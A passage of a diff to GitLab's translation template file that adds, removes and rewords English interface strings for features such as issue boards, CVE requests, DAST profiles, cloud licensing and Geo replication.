-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
